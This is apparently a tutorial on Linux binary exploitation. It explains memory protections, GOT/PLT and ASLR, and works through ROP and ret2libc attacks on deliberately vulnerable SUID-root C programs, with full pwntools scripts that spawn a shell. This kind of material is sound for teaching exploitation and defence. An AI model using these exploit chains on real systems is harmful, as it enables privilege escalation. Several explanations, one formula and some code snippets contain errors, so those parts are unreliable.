A stack canary is a security mechanism used to detect and prevent stack buffer overflow attacks. It works by placing a small, known value called the “canary” just before the return address on the stack. When a function returns, the program checks if the canary value has been altered. If an overflow overwrites the return address, it will also modify the canary, triggering a detection. This causes the program to terminate immediately or take protective action, preventing the attacker from hijacking control flow. Stack canaries add an important layer of defense by making it much harder for attackers to exploit buffer overflows silently. However, if the canary value is leaked or bypassed, the protection can be defeated, so it is often combined with other security features like ASLR and NX.

No-eXecute(NX) or Data Execution Policy (DEP)

NX (No-eXecute), also known as DEP (Data Execution Prevention), is a CPU and operating system feature that prevents certain areas of memory from being executed as code. In a typical program, sections like the stack or heap are meant for storing data not for running instructions. NX marks these memory regions as non-executable, so even if an attacker injects malicious code (like shellcode) into the stack, the CPU will refuse to run it and trigger a crash or exception instead. This significantly raises the bar for exploiting buffer overflows because simply injecting code into memory is no longer enough the attacker would need to find or reuse existing executable code (like with ROP, Return-Oriented Programming). NX/DEP is widely used in modern systems to block basic code injection attacks and is a key part of modern exploit mitigation. Its limited because it only blocks Return2Shellcode.

Address Space Layout Randomization (ASLR)

ASLR (Address Space Layout Randomization) is a security technique used to randomize the memory addresses used by a program each time it runs. This includes the locations of the stack, heap, shared libraries (like libc), and sometimes even the binary itself. The idea is to make it unpredictable where key parts of the program will be loaded in memory. This makes exploitation much harder, because even if an attacker knows there’s a vulnerability, they can’t rely on hardcoded addresses like where shellcode is stored or where system functions are located. Instead, they must first leak a valid memory address or bypass ASLR in some way. Without ASLR, memory addresses remain constant across runs, making return-to-libc or ret2shellcode-style attacks much easier. Combined with other defenses like NX and stack canaries, ASLR significantly reduces the reliability of many classic exploitation techniques. It is constant throughout the system it means that you can’t on or off ASLR in only one program you have to do it with whole system.

To Check current ASLR status in Linux:

1
2
3
cat /proc/sys/kernel/randomize_va_space

2
  • 0 – ASLR disabled (no randomization)
  • 1 – Partial randomization (stack, mmap, etc.)
  • 2 – Full randomization (includes heap, stack, libraries, etc.)

Position Independent Executable (PIE)

PIE (Position Independent Executable) is a binary format in which the code is compiled to be location-independent, meaning it can be loaded at any memory address during runtime. This is crucial for enabling full Address Space Layout Randomization (ASLR), a security technique that randomizes memory addresses to make exploitation harder. When PIE is enabled, the entire binary, including its functions and variables, is loaded at a random location each time the program runs. This unpredictability significantly increases the difficulty of attacks such as return-to-text (ret2text) or return-oriented programming (ROP), because the attacker cannot reliably guess the location of executable code. Without PIE, the code is always loaded at the same fixed address, even if ASLR is enabled for other segments like the stack or heap. Therefore, PIE is often combined with ASLR to provide a stronger security posture against memory corruption vulnerabilities.

To compile with PIE:

1
gcc -fPIE -pie -o mybinary mysource.c

To compile without PIE:

1
gcc -no-pie -o mybinary mysource.c

Relocation Read-Only (RELRO)

RELRO (Relocation Read-Only) is a security feature in ELF binaries that makes certain sections of the binary read-only after program startup, specifically the Global Offset Table (GOT).

The GOT (Global Offset Table) is a crucial structure used in ELF (Executable and Linkable Format) binaries for dynamic linking, especially when the binary uses shared libraries. When a program makes a call to a function in a shared library (like printf, read, etc.), the actual memory address of that function is not known at compile time it’s resolved at runtime. The GOT holds these function addresses.

This helps prevent GOT overwrite attacks, which are commonly used in exploits like GOT hijacking. There are two types of RELRO: Partial RELRO and Full RELRO. Partial RELRO sets the GOT as read-only during runtime but does not prevent overwriting its entries during execution. Full RELRO, on the other hand, makes the GOT completely read-only by resolving all symbols at program startup, which makes GOT overwrites impossible. While Full RELRO adds a small performance overhead due to early symbol resolution, it significantly strengthens the binary’s resistance to certain types of memory corruption attacks.

To check protection in Linux you can use checksec:

1
❯ checksec --file=<FILE-NAME>

0x5 - Return Oriented Programming (ROP)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>

char bin_sh[] = "/bin/sh\x00";

void callme() {
char str[] = "ls -la";
system(str);
}

void init() {
gid_t gid;
uid_t uid;

gid = getegid();
uid = geteuid();

setresgid(gid, gid, gid);
setresuid(uid, uid, uid);
}

int main() {
init();
char buff[30];
printf("Enter Data - ");
gets(buff);
return 0;
}

gcc rop.c -o rop -no-pie -fno-stack-protector

ROP is technique to bypass NX protection.

1
2
ls -la rop
-rwsrwxrwx 1 root root 17040 Jun 26 17:03 rop
1
2
❯ checksec --file=rop --format=json
{ "rop": { "relro":"partial","canary":"no","nx":"yes","pie":"no","rpath":"no","runpath":"no","symbols":"yes","fortify_source":"no","fortified":"0","fortify-able":"2" }

We can see NX is enabled. It means we can’t run Ret2Shellcode technique.

1
2
3
❯ ./rop
Enter Data - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[1] 11150 segmentation fault (core dumped) ./rop
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
(gdb) info functions
All defined functions:

Non-debugging symbols:
0x0000000000401000 _init
0x00000000004010a0 setresuid@plt
0x00000000004010b0 setresgid@plt
0x00000000004010c0 system@plt
0x00000000004010d0 printf@plt
0x00000000004010e0 geteuid@plt
0x00000000004010f0 gets@plt
0x0000000000401100 getegid@plt
0x0000000000401110 _start
0x0000000000401140 _dl_relocate_static_pie
0x0000000000401150 deregister_tm_clones
0x0000000000401180 register_tm_clones
0x00000000004011c0 __do_global_dtors_aux
0x00000000004011f0 frame_dummy
0x00000000004011f6 callme
0x0000000000401222 init
0x000000000040126f main
0x00000000004012b0 __libc_csu_init
0x0000000000401320 __libc_csu_fini
0x0000000000401328 _fini

There are only three user-defined functions: callme, init. main. Init function is used to initialize If we manage to get a shell through exploiting this binary, because of this initialization, your shell would inherit the root UID (if the binary is SUID-root), granting you root privileges on the system. So only important functions are main and callme.

pwn7.png

We can see main function calls gets that’s why its vulnerable to stack overflow because it doesn’t perform any bound checking on input it reads.

pwn8.png

Upon disassembling callme function we can see callme function is not being called anywhere in program so we need to manually call it. callme function is calling system function (system@plt). So first lets check whats inside that system function but for it we have to first call the callme function manually. First lets copy the starting address of callme function which is 0x00000000004011f6.

1
2
pwndbg> break main
Breakpoint 1 at 0x401277

After this we need to run the program before setting rip to callme function address so run it once using r or run command. Now we can set our rip. RIP or Register Instruction Pointer holds the memory address of next instruction that CPU will execute.

1
pwndbg> set $rip=0x00000000004011f6

After setting rip to callme function address we can run command ni to go to next instruction which in our case will be callme function.

pwn9.png
We can see that we are currently in callme function. Look at that small pointer at left this shows which instruction we are currently in. As we can see the function system@plt which we want to examine is at 0x40121a <callme+36> we can run ni command until that small pointer which is rip points to that address we want.

pwn10.png

After running ni command 5-6 times pointer finally went to the address we want. The string ls -la we are seeing in the disassembly of the callme function is the command that is being passed to the system() function call. In our binary, there’s a function called callme that looks like this (simplified):

1
2
3
void callme() {
system("ls -la");
}

We thought it would have something like /bin/sh so that we could get our shell but looks like its not the case. ls -la is the argument that is stored in RDI register.

pwn11.png

This is where we can use Return Oriented Programming technique. In ROP, instead of injecting our own code (which is often blocked by modern protections like NX), we reuse small sequences of existing instructions already present in the program’s memory. These small instruction sequences are called gadgets.

First, we need to overflow the return address on the stack so that when the function returns, it jumps to a location we control.

Next, we want to find gadgets in the program that allow us to change the value of the RDI register (which is the first argument to functions on x86-64 Linux).

Currently, callme sets RDI to point to the string "ls -la" before calling system(). Instead, we want to set RDI to point to the string "/bin/sh" so that when system() is called, it spawns a shell.

Finally, we chain these gadgets to first set up RDI with the address of "/bin/sh", and then jump to system@plt to execute the shell.

For this to write exploit we can install a very handy library called ROPgadgets in Python.

1
❯ pip install ROPgadget

Okay, lets do first part of overflowing. We already know how to do it from previous topics. We got our offset at 40.

1
2
3
4
5
6
7
8
9
10
11
12
13
#!/usr/bin/python3

from pwn import *

elf = elf.binary = ELF('./rop')

io = process()

payload = cyclic(40) + pack()

io.senldine(payload)

io.interactive()

Currently address of pack() is empty since we don’t know the address where we can change value of RDI. This is where ROPgadgets comes in handy.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
❯ ROPgadget --binary rop
Gadgets information
============================================================
0x000000000040113d : add ah, dh ; nop ; endbr64 ; ret
0x000000000040116b : add bh, bh ; loopne 0x4011d5 ; nop ; ret
0x000000000040131c : add byte ptr [rax], al ; add byte ptr [rax], al ; endbr64 ; ret
0x00000000004012a8 : add byte ptr [rax], al ; add byte ptr [rax], al ; leave ; ret
0x00000000004012a9 : add byte ptr [rax], al ; add cl, cl ; ret
0x0000000000401036 : add byte ptr [rax], al ; add dl, dh ; jmp 0x401020
0x00000000004011da : add byte ptr [rax], al ; add dword ptr [rbp - 0x3d], ebx ; nop ; ret
0x000000000040131e : add byte ptr [rax], al ; endbr64 ; ret
0x000000000040113c : add byte ptr [rax], al ; hlt ; nop ; endbr64 ; ret
0x00000000004012aa : add byte ptr [rax], al ; leave ; ret
0x000000000040100d : add byte ptr [rax], al ; test rax, rax ; je 0x401016 ; call rax
0x00000000004011db : add byte ptr [rcx], al ; pop rbp ; ret
0x00000000004011d9 : add byte ptr cs:[rax], al ; add dword ptr [rbp - 0x3d], ebx ; nop ; ret
0x000000000040113b : add byte ptr cs:[rax], al ; hlt ; nop ; endbr64 ; ret
0x00000000004012ab : add cl, cl ; ret
0x000000000040116a : add dil, dil ; loopne 0x4011d5 ; nop ; ret
0x0000000000401038 : add dl, dh ; jmp 0x401020
0x00000000004011dc : add dword ptr [rbp - 0x3d], ebx ; nop ; ret
0x00000000004011d7 : add eax, 0x2e8c ; add dword ptr [rbp - 0x3d], ebx ; nop ; ret
0x0000000000401085 : add eax, 0xf2000000 ; jmp 0x401020
0x0000000000401017 : add esp, 8 ; ret
0x0000000000401016 : add rsp, 8 ; ret
0x000000000040121e : call qword ptr [rax + 0xff3c3c9]
0x000000000040103e : call qword ptr [rax - 0x5e1f00d]
0x0000000000401014 : call rax
0x00000000004011f3 : cli ; jmp 0x401180
0x0000000000401143 : cli ; ret
0x000000000040132b : cli ; sub rsp, 8 ; add rsp, 8 ; ret
0x00000000004011f0 : endbr64 ; jmp 0x401180
0x0000000000401140 : endbr64 ; ret
0x00000000004012fc : fisttp word ptr [rax - 0x7d] ; ret
0x000000000040113e : hlt ; nop ; endbr64 ; ret
0x0000000000401012 : je 0x401016 ; call rax
0x0000000000401165 : je 0x401170 ; mov edi, 0x404070 ; jmp rax
0x00000000004011a7 : je 0x4011b0 ; mov edi, 0x404070 ; jmp rax
0x000000000040103a : jmp 0x401020
0x00000000004011f4 : jmp 0x401180
0x000000000040100b : jmp 0x4840103f
0x000000000040116c : jmp rax
0x0000000000401168 : jo 0x4011aa ; add dil, dil ; loopne 0x4011d5 ; nop ; ret
0x0000000000401220 : leave ; ret
0x000000000040116d : loopne 0x4011d5 ; nop ; ret
0x00000000004011d6 : mov byte ptr [rip + 0x2e8c], 1 ; pop rbp ; ret
0x00000000004012a7 : mov eax, 0 ; leave ; ret
0x0000000000401167 : mov edi, 0x404070 ; jmp rax
0x00000000004011d8 : mov word ptr [rsi], gs ; add byte ptr [rax], al ; add dword ptr [rbp - 0x3d], ebx ; nop ; ret
0x000000000040113f : nop ; endbr64 ; ret
0x000000000040121f : nop ; leave ; ret
0x000000000040116f : nop ; ret
0x00000000004011ec : nop dword ptr [rax] ; endbr64 ; jmp 0x401180
0x0000000000401166 : or dword ptr [rdi + 0x404070], edi ; jmp rax
0x000000000040130c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040130e : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000401310 : pop r14 ; pop r15 ; ret
0x0000000000401312 : pop r15 ; ret
0x000000000040130b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040130f : pop rbp ; pop r14 ; pop r15 ; ret
0x00000000004011dd : pop rbp ; ret
0x0000000000401313 : pop rdi ; ret
0x0000000000401311 : pop rsi ; pop r15 ; ret
0x000000000040130d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040101a : ret
0x0000000000401011 : sal byte ptr [rdx + rax - 1], 0xd0 ; add rsp, 8 ; ret
0x000000000040105b : sar edi, 0xff ; call qword ptr [rax - 0x5e1f00d]
0x000000000040132d : sub esp, 8 ; add rsp, 8 ; ret
0x000000000040132c : sub rsp, 8 ; add rsp, 8 ; ret
0x0000000000401010 : test eax, eax ; je 0x401016 ; call rax
0x0000000000401163 : test eax, eax ; je 0x401170 ; mov edi, 0x404070 ; jmp rax
0x00000000004011a5 : test eax, eax ; je 0x4011b0 ; mov edi, 0x404070 ; jmp rax
0x000000000040100f : test rax, rax ; je 0x401016 ; call rax

Unique gadgets found: 70

We can see we got 70 different small pieces of code with its address that we can use but we want that one which can change value of RDI. If we look at output above we can see this instruction is what we need.

1
0x0000000000401313 : pop rdi ; ret

It pops (removes) a value from the stack into the RDI register. Then it executes a ret, which means it will return to the next address on the stack. We know stack follows LIFO (Last In, First Out). Stack is like a stack of plates, you add things on top (calls push), you remove things from top only (called pop). The last item you put in is the first one you take out that’s why it’s called Last In, First Out (LIFO).

Now we need to remember that system function system@plt takes pointer of string not the whole string. It means that we cant directly write /bin/sh in RDI but we need to put such address that points to string /bin/sh. To make things easier we can see if this program has /bin/sh string it or not using pwngdb command search.

1
2
3
4
5
pwndbg> r
Starting program: /home/at0m/rop
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Enter Data - ^C

After running program enter Ctrl+C to stop program in middle so its running. and then:

1
2
3
4
pwndbg> search /bin/sh
Searching for byte: b'/bin/sh'
rop 0x404060 0x68732f6e69622f /* '/bin/sh' */
libc.so.6 0x77efff7cb42f 0x68732f6e69622f /* '/bin/sh' */

We can see we got 2 output, Second one is of shared library thats why its not of our use but First one is what we need. So the address that we need is 0x404060. 0x68732f6e69622f is hexadecimal representation of ASCII string /bin/sh don’t confuse it with memory address.

Actually pwntools can do all these extracting the address in one line but we are doing it currently for understanding from basics. Writing exploit in python.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#!/usr/bin/python3

from pwn import *

# Load the ELF binary
elf = ELF('./rop')

# Start the vulnerable binary as a process
io = process('./rop')

# ROP gadget: pop value into RDI (first argument in x86-64 calling convention)
pop_rdi = 0x0000000000401313

# Address of the string "/bin/sh" in the binary's .data section
bin_sh = 0x404060

# 'ret' gadget for stack alignment (some systems require 16-byte alignment before calls)
ret = 0x000000000040101a

# Address of the 'system' function in the binary's PLT (Procedure Linkage Table)
system = elf.sym.system

# Build the payload:
# - Overflow buffer with 40 bytes (determined previously)
# - Set up RDI to point to "/bin/sh"
# - Align the stack (optional but good practice)
# - Jump to system("/bin/sh")
payload = cyclic(40) + p64(pop_rdi) + p64(bin_sh) + p64(ret) + p64(system)

# Send the payload to the process
io.sendline(payload)

# Drop to interactive shell to use the spawned shell (if exploit works)
io.interactive()

0x6 - Ret2LIBC

This is another method used to bypass NX (Non-Executable Stack) protection. In previous techniques like ROP (Return Oriented Programming), we might have had the system() function and the /bin/sh string already present in the binary, making it easier to construct our exploit.

However, in a ret2libc attack, we assume that the system() function is not part of the binary itself, but is instead located in a shared library (typically libc – the standard C library). Similarly, the string "/bin/sh" is often also found within libc.

So, instead of using gadgets from the binary, we redirect execution to libc’s system() function and pass the address of the "/bin/sh" string (also in libc) as its argument. This allows us to spawn a shell even when the binary lacks both system() and /bin/sh.

But first lets disable ASLR from Linux system (We will later learn on how to bypass ASLR also.)

1
2
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
0
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>

void init() {
gid_t gid;
uid_t uid;

gid = getegid();
uid = geteuid();

setresgid(gid, gid, gid);
setresuid(uid, uid, uid);
}

int main() {
init();
char buff[30];
printf("Enter Data - ");
gets(buff);
return 0;
}

gcc ret2libc.c -o ret2libc -no-pie -fno-stack-protector

1
2
ls -la ret2libc
-rwsrwxrwx 1 root root 16920 Jun 26 17:03 ret2libc
1
2
3
❯ ./ret2libc     
Enter Data - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[1] 9055 segmentation fault (core dumped) ./ret2libc

Its basically functions same as previous one.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
(gdb) info functions
All defined functions:

Non-debugging symbols:
0x0000000000401000 _init
0x0000000000401090 setresuid@plt
0x00000000004010a0 setresgid@plt
0x00000000004010b0 printf@plt
0x00000000004010c0 geteuid@plt
0x00000000004010d0 gets@plt
0x00000000004010e0 getegid@plt
0x00000000004010f0 _start
0x0000000000401120 _dl_relocate_static_pie
0x0000000000401130 deregister_tm_clones
0x0000000000401160 register_tm_clones
0x00000000004011a0 __do_global_dtors_aux
0x00000000004011d0 frame_dummy
0x00000000004011d6 init
0x0000000000401223 main
0x0000000000401270 __libc_csu_init
0x00000000004012e0 __libc_csu_fini
0x00000000004012e8 _fini

Previously we had callme function which made our work easier but not this time. Now disassembling main function.

pwn12.png

Its simple function that is calling printf function to print and uses gets function also which is vulnerable function. There is no system function like before. Lets run it in pwngdb. Use run command and press CTRL+C so program is running.

1
2
3
4
5
pwndbg> r
Starting program: /home/at0m/ret2libc
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Enter Data - ^C

If we search for /bin/sh like before we won’t see it in our binary like in ROP program but we see in shared library of libc

1
2
3
pwndbg> search /bin/sh
Searching for byte: b'/bin/sh'
libc.so.6 0x7ffff7dcb42f 0x68732f6e69622f /* '/bin/sh' */

First lets find at what offset overflow occurs like in all previous Challenges. After doing it we get offset at 40, read Stack Overflow section for doing it we have repeated same step to find offset. Now lets write exploit.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#!/usr/bin/python3

from pwn import *

elf = context.binary = ELF('./ret2libc')

io = process()

payload = cyclic(40) + pack()

io.sendline(payload)

io.interactive()

This time we dont have any address to put in pack() where it can return to, Unlike in ROP we cant take from system function because it doesn’t exist but we can take gadgets from shared library. Lets use ROPgadget to see gadgets that we can use first.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
❯ ROPgadget --binary ret2libc 
Gadgets information
============================================================
0x000000000040111d : add ah, dh ; nop ; endbr64 ; ret
0x000000000040114b : add bh, bh ; loopne 0x4011b5 ; nop ; ret
0x00000000004012dc : add byte ptr [rax], al ; add byte ptr [rax], al ; endbr64 ; ret
0x000000000040125c : add byte ptr [rax], al ; add byte ptr [rax], al ; leave ; ret
0x000000000040125d : add byte ptr [rax], al ; add cl, cl ; ret
0x0000000000401036 : add byte ptr [rax], al ; add dl, dh ; jmp 0x401020
0x00000000004011ba : add byte ptr [rax], al ; add dword ptr [rbp - 0x3d], ebx ; nop ; ret
0x00000000004012de : add byte ptr [rax], al ; endbr64 ; ret
0x000000000040111c : add byte ptr [rax], al ; hlt ; nop ; endbr64 ; ret
0x000000000040125e : add byte ptr [rax], al ; leave ; ret
0x000000000040100d : add byte ptr [rax], al ; test rax, rax ; je 0x401016 ; call rax
0x00000000004011bb : add byte ptr [rcx], al ; pop rbp ; ret
0x00000000004011b9 : add byte ptr cs:[rax], al ; add dword ptr [rbp - 0x3d], ebx ; nop ; ret
0x000000000040111b : add byte ptr cs:[rax], al ; hlt ; nop ; endbr64 ; ret
0x000000000040125f : add cl, cl ; ret
0x000000000040114a : add dil, dil ; loopne 0x4011b5 ; nop ; ret
0x0000000000401038 : add dl, dh ; jmp 0x401020
0x00000000004011bc : add dword ptr [rbp - 0x3d], ebx ; nop ; ret
0x00000000004011b7 : add eax, 0x2e9b ; add dword ptr [rbp - 0x3d], ebx ; nop ; ret
0x0000000000401085 : add eax, 0xf2000000 ; jmp 0x401020
0x0000000000401017 : add esp, 8 ; ret
0x0000000000401016 : add rsp, 8 ; ret
0x000000000040121f : call qword ptr [rax + 0xff3c3c9]
0x000000000040103e : call qword ptr [rax - 0x5e1f00d]
0x0000000000401014 : call rax
0x00000000004011d3 : cli ; jmp 0x401160
0x0000000000401123 : cli ; ret
0x00000000004012eb : cli ; sub rsp, 8 ; add rsp, 8 ; ret
0x00000000004011d0 : endbr64 ; jmp 0x401160
0x0000000000401120 : endbr64 ; ret
0x00000000004012bc : fisttp word ptr [rax - 0x7d] ; ret
0x000000000040111e : hlt ; nop ; endbr64 ; ret
0x0000000000401012 : je 0x401016 ; call rax
0x0000000000401145 : je 0x401150 ; mov edi, 0x404058 ; jmp rax
0x0000000000401187 : je 0x401190 ; mov edi, 0x404058 ; jmp rax
0x000000000040103a : jmp 0x401020
0x00000000004011d4 : jmp 0x401160
0x000000000040100b : jmp 0x4840103f
0x000000000040114c : jmp rax
0x0000000000401221 : leave ; ret
0x000000000040114d : loopne 0x4011b5 ; nop ; ret
0x00000000004011b6 : mov byte ptr [rip + 0x2e9b], 1 ; pop rbp ; ret
0x000000000040125b : mov eax, 0 ; leave ; ret
0x0000000000401147 : mov edi, 0x404058 ; jmp rax
0x000000000040111f : nop ; endbr64 ; ret
0x0000000000401220 : nop ; leave ; ret
0x000000000040114f : nop ; ret
0x00000000004011cc : nop dword ptr [rax] ; endbr64 ; jmp 0x401160
0x0000000000401146 : or dword ptr [rdi + 0x404058], edi ; jmp rax
0x00000000004012cc : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004012ce : pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004012d0 : pop r14 ; pop r15 ; ret
0x00000000004012d2 : pop r15 ; ret
0x0000000000401148 : pop rax ; add dil, dil ; loopne 0x4011b5 ; nop ; ret
0x00000000004012cb : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004012cf : pop rbp ; pop r14 ; pop r15 ; ret
0x00000000004011bd : pop rbp ; ret
0x00000000004012d3 : pop rdi ; ret
0x00000000004012d1 : pop rsi ; pop r15 ; ret
0x00000000004012cd : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040101a : ret
0x0000000000401011 : sal byte ptr [rdx + rax - 1], 0xd0 ; add rsp, 8 ; ret
0x000000000040105b : sar edi, 0xff ; call qword ptr [rax - 0x5e1f00d]
0x00000000004012ed : sub esp, 8 ; add rsp, 8 ; ret
0x00000000004012ec : sub rsp, 8 ; add rsp, 8 ; ret
0x0000000000401010 : test eax, eax ; je 0x401016 ; call rax
0x0000000000401143 : test eax, eax ; je 0x401150 ; mov edi, 0x404058 ; jmp rax
0x0000000000401185 : test eax, eax ; je 0x401190 ; mov edi, 0x404058 ; jmp rax
0x000000000040100f : test rax, rax ; je 0x401016 ; call rax
0x00000000004011b8 : wait ; add byte ptr cs:[rax], al ; add dword ptr [rbp - 0x3d], ebx ; nop ; ret

Unique gadgets found: 70

This time we again have this instruction:

1
0x00000000004012d3 : pop rdi ; ret

We also need ret instruction address:

1
0x000000000040101a : ret

These instructions will be at mostly every binary so we dont need to worry about it not being in your program. Now we have RDI address 0x00000000004012d3 Next we need /bin/sh address, system address form where we want to call (We cant do elf.sym.system) like before because system function is not present in binary and finally we need ret (return) address which will run before system address just to fix stack misalignment.

Previously we got address of /bin/sh from libc.

1
2
3
pwndbg> search /bin/sh
Searching for byte: b'/bin/sh'
libc.so.6 0x7ffff7dcb42f 0x68732f6e69622f /* '/bin/sh' */

We can see its address is 0x7ffff7dcb42f now we need system function address. We can run program again and CTRL+C at when its taking input and we can use command p system to print system function.

1
2
pwndbg> p system
$1 = {int (const char *)} 0x7ffff7c58750 <__libc_system>

As shown above we got system function address 0x7ffff7c58750 which is of libc library and finally we need address of ret which we already know from above ROPGadget tool which is 0x000000000040101a. Now just put it in exploit.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#!/usr/bin/python3

from pwn import *

elf = context.binary = ELF('./ret2libc')

io = process()

pop_rdi = 0x00000000004012d3
bin_sh = 0x7ffff7dcb42f
system = 0x7ffff7c58750
ret = 0x000000000040101a

payload = cyclic(40) + pack(pop_rdi) + pack(bin_sh) + pack(ret) + pack(system)

io.sendline(payload)

io.interactive()

0x7 - Global Offset Table (GOT) and Procedure Linkage Table (PLT)

Linking is the process of combining various pieces of code and data into a single executable or library. These pieces typically come from object files (compiled source code), libraries, or other modules. Linking ensures that function calls, variable references, and symbols in a program are correctly resolved, allowing the program to execute as intended. There are two main types of linking: static linking and dynamic linking.

In static linking, all necessary code and libraries are included directly into the final executable at compile time, making the executable self-contained but larger in size. It also has advantage that it doesn’t need dependency to run. For example, if you write a C program that uses the printf() function and compile it with static linking, the compiler includes the actual implementation of printf() from the C standard library directly into your program.

In dynamic linking, the executable contains references to shared libraries (such as libc.so), which are loaded into memory at runtime, reducing the executable size and enabling multiple programs to share the same library code. Dynamic linking also allows updates to shared libraries without recompiling dependent programs. For example, when your program calls printf(), the system resolves that call to the actual function in the loaded libc.so.6 file. This makes the executable smaller and allows multiple programs to share the same library code, but it also means the correct library version must be available at runtime.

In dynamic linking when programs use shared libraries, such as libc, they don’t know the exact memory address of external functions like printf() or system() at compile time and also due to ASLR protection Instead, they rely on two key tables: the Global Offset Table (GOT) and the Procedure Linkage Table (PLT) to resolve these function addresses dynamically at runtime.

Lets look at example of program from ret2libc challenge. This is small part of disassembly of main function.

1
2
3
4
5
0x0000000000401245 <+34>:	call   0x4010b0 <printf@plt>
0x000000000040124a <+39>: lea -0x20(%rbp),%rax
0x000000000040124e <+43>: mov %rax,%rdi
0x0000000000401251 <+46>: mov $0x0,%eax
0x0000000000401256 <+51>: call 0x4010d0 <gets@plt>

As we can see it calls printf function and gets function but the address of it calling 0x4010b0 are same, its because its not calling different function instead its calling PLT stub, thats why we see printf@plt and gets@plt and it has fix address. Stubs short pieces of code that don’t contain the real function logic. Instead they jump indirectly to Global Offset Table (GOT), which holds real address of external function like printf. This is why the PLT addresses are fixed and known at compile time, while the real function addresses in libc are unknown until runtime.

pltngot

When the program calls call 0x4010b0 <printf@plt>, it doesn’t directly call printf() in libc. It:

  1. Jump to printf@plt (Procedure Linkage Table entry for printf):
    The call instruction doesn’t jump directly to the real printf function in the shared library (libc). Instead, it jumps to a small piece of code inside the binary called the PLT stub for printf. This stub acts as an intermediary and is always at a fixed address in the binary.

  2. PLT stub jumps indirectly via the GOT entry printf@got:
    Inside the PLT stub, there is an indirect jump instruction that jumps to the address stored in the Global Offset Table (GOT) entry for printf. The GOT is a writable table that initially holds a pointer to the dynamic linker resolver function.
    So, on the very first call, this pointer is not the actual address of printf, but rather a function that helps find it.

  3. If the GOT entry hasn’t been resolved yet, the PLT stub calls the dynamic linker resolver:
    Because this is the first time printf is being called, the GOT entry points to the dynamic linker’s resolver function. The PLT stub triggers a call to this resolver, passing some information about which function (printf) needs to be resolved.

  4. The dynamic linker locates the real address of printf() in the loaded shared library:
    The resolver function looks up printf inside the loaded shared libraries (such as libc.so), finds its actual runtime address in memory, and then writes this resolved address into the GOT entry for printf.

  5. Future calls jump directly to the real printf() function:
    After the GOT entry is updated with the real address of printf, the PLT stub’s indirect jump now points directly to printf in libc. This means all subsequent calls to printf@plt skip the resolver step and jump straight to the real function, making the call faster.

So in summary When we call a function, the process is the same every time except for the very first call. The first time the function is called, it takes longer because the program needs to find the actual address of the function in the shared library. During this initial call, the function address is resolved and then stored in the Global Offset Table (GOT). On subsequent calls, instead of resolving again, the program jumps directly to the stored address in the GOT via the Procedure Linkage Table (PLT), making the calls faster. The PLT is a special section in a program’s binary that acts like a jump table or trampoline for calling external functions (usually from shared libraries like libc).

0x8 - ASLR and Its Bypass

We already know about ASLR from Stack Overflow protection section. Consider 0x7f42e3304000 base address of program we know that base address is randomized. If we want to find address of certain function we first need to find how much far is it from our base address. Like in down table puts function is 0x4 bytes far from base address, system function is 0x9 bytes far from base address and so on. We can easily find how much far is function from base address using tools like readelf, nm, ROPgadget etc which will be covered later. After adding the base address with offset value we can get our final address of function.

0x7f42e3304000 LIBC
Bytes Functions Address Computation Address
0x4 puts 0x7f42e3304000+0x4 0x7f42e3304004
0x9 system 0x7f42e3304000+0x9 0x7f42e3304009
0x10 printf 0x7f42e3304000+0x10 0x7f42e3304010
0x18 gets 0x7f42e3304000+0x18 0x7f42e330418

Formula will be like this:

$$
Base Address = Offset from Base Address - Randomized Address
$$

Base Address means Starting Address, Offset means distance from Base Addresss here

As we can see its not really Randomized Address, Only Base Address is randomized. Now lets talk about how to bypass ASLR. So the main thing we want is Base Address because if we got Base Address we can get Offset easily using tools.

From above formula if we modify it we can write it like this:

$$
Base Address = Randomized Address - Offset from Base Address
$$

Like this we can get Base Address of Region.

0x9 - Ret2PLT

This is a technique of implementation of ASLR bypass. Ret2PLT is only meant for bypassing ASLR so it wont be able to give us shell, So we will chain up any other technique with it to get shell. We will be combining Ret2PLT to bypass ASLR and Ret2Libc to get shell.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>

void init() {
gid_t gid;
uid_t uid;

gid = getegid();
uid = geteuid();

setresgid(gid, gid, gid);
setresuid(uid, uid, uid);
}

int main() {
init();
char buff[30];
puts("Enter Data - ");
gets(buff);
return 0;
}

